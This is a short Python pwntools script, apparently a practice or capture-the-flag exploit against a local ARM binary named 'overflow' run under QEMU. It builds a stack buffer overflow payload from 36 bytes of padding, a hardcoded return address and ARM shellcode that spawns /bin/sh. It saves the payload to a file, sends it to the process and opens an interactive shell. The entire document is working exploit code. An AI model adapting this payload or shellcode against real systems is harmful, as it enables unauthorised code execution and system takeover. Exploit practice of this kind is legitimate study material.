from pwn import *

context.update(log_level='debug', arch='arm', bits='32', os='linux')


def main():
    p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi', './overflow'])

    shellcode = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78" 

    payload = b"A" * 36
    payload += p32(0x40800460)
    payload += shellcode
    

    f = open("armshell","wb")
    f.write(payload)
    f.close()

    p.sendline(payload)

    p.interactive()


if __name__ == "__main__":
    main()